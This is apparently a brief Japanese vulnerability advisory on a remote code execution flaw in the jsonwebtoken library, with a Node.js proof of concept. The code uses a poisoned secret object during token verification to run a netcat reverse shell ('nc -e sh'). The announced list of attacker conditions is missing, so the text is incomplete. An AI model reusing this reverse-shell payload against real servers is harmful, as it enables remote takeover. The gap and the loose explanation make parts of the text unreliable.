
JSON Web Token (JWT) ライブラリのバージョン 3.4.6 未満、4.0.4 未満、および 4.1.5 未満には、リモートコード実行 (RCE) の脆弱性があります。
HMAC ハッシュ関数は任意の文字列を入力として受け取るため、RCE が発生します。
前提条件により、この脆弱性は悪用される可能性が低いです。
この脆弱性を悪用するには、攻撃者は以下のいずれかの条件を満たす必要があります:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);